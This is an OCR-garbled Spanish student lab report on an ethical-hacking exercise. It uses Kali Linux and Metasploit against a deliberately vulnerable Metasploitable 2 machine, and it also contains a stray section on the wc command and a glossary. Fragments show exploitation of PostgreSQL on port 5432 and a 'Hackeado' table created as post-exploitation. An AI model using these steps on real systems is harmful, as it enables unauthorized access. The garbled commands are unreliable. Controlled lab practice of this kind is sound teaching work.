ull module info wi r command .

llustracion 44 parametros de opciones puerto 5432 — PostgreSQOL (8.3.x)
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Maquina Ver Entrada Dispositi
]| E _ 3| a e

root@kali: fhome/kali

et RHOST 100.10

L "SELECT version();"

ELECT tablename FROM pg_

*public';
= ‘public

&3 [ CTRL DERECH

Mlustracion 45 Ejecucion de consultas

Como ejemplo de post-explotacion, se ejecutaron consultas sobre el servicio.
En el caso de la base de datos, se procedid a crear una tabla denominada Hackeado,

evidenciando que se posee control sobre el sistema comprometido.
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2 Capitulo 2: Comandos que se utilizan para contar palabras y letras de un txt.

WC: En sistemas operativos basados en Unix/Linux, el comando wc (word count)
se utiliza para contar lineas, palabras y caracteres dentro de un archivo de texto.

La salida mostraré tres valores:

1. Numero de lineas.

2. Numero de palabras.

3. Numero de caracteres (bytes).

Opciones mas comunes

o Contar solo palabras: wc -w archivo.txt

o Contar solo caracteres (bytes): wc -c archivo.txt

o Contar solo caracteres (incluyendo acentos y simbolos Unicode): wc -m
archivo.txt

e Contar solo lineas: wc -1 archivo.txt
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3 Problemas encontrados

Durante la ejecucion de los ataques a los puertos identificados, se presentaron las siguientes
dificultades:
e Puerto MySQL (3306): No fue posible completar el ataque debido a errores
recurrentes que indicaban el bloqueo del puerto (ver imagen).
e Puerto SMTP (25 — Postfix): Se presentaron complicaciones iniciales al no

comprender con claridad el procedimiento adecuado para explotar este servicio.



@)

Universidad Tecnoloc del Choco
Diego Luis Cérdoba

4  Soluciones de los problemas

Puerto MySQL (3306): El problema persiste aun.
Puerto SMTP (25 — Postfix): Tras investigar, se comprendi6 que no existe un
modulo explotable directo en Metasploit para este puerto. Sin embargo, el servicio puede

usarse para obtener informacion 1til que sirva como base para otros tipos de ataques.
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5 Recomendaciones

Se recomienda prestar atencion a la correcta escritura de los comandos, ya que
puede generar fallos en la ejecucion. Asimismo, es aconsejable investigar y familiarizarse
con los comandos que permiten salir, retroceder o navegar correctamente dentro de las

terminales.
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6 Conclusiones

Se concluye que es posible realizar un escaneo correcto de los puertos de la
maquina victima, identificando los servicios expuestos y sus posibles vulnerabilidades.
Durante la practica se lograron ejecutar varios ataques de forma exitosa; sin embargo, es
necesario continuar investigando sobre aquellos puertos que no pudieron ser vulnerados en
esta sesion. Esta actividad resultd valiosa para poner en practica y reforzar los

conocimientos adquiridos sobre hacking ético en un entorno controlado.



7  Glosario

Hacking Etico: Proceso de evaluar la seguridad de sistemas y redes mediante
ataques controlados, con el fin de detectar y corregir vulnerabilidades.

VirtualBox: Software de virtualizacion que permite instalar y ejecutar varios
sistemas operativos de forma simultanea en un mismo equipo.

Kali Linux: Distribucién de Linux orientada a pruebas de penetracion y auditorias
de seguridad.

Metasploitable 2: Méaquina virtual intencionadamente vulnerable, disefiada para
practicas de hacking ético.

Metasploit Framework: Plataforma de c6digo abierto utilizada para desarrollar,
probar y ejecutar exploits contra sistemas remotos.

Msfconsole: Interfaz de linea de comandos principal de Metasploit, utilizada para
buscar, configurar y ejecutar exploits.

Exploit: Codigo o técnica que aprovecha una vulnerabilidad en un sistema o
aplicacion para obtener acceso o control no autorizado.

Payload: Codigo que se ejecuta en la maquina objetivo después de explotar una
vulnerabilidad; puede ser, por ejemplo, una shell inversa.

Nmap: Herramienta de codigo abierto para el escaneo de redes y deteccion de
puertos y servicios activos.

Rhost: Direccion IP de la méaquina victima (host remoto).

Lhost: Direccion IP de la maquina atacante (host local).

Rport: Numero de puerto en la maquina victima que se pretende explotar.
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Lport: Numero de puerto en la maquina atacante que recibira la conexion de
retorno desde la victima.
SMTP: Protocolo simple de transferencia de correo, utilizado para el envio de
emails.
MySQL: Sistema de gestion de bases de datos relacional.

FTP: Protocolo de transferencia de archivos, utilizado para mover datos entre

sistemas a través de la red.
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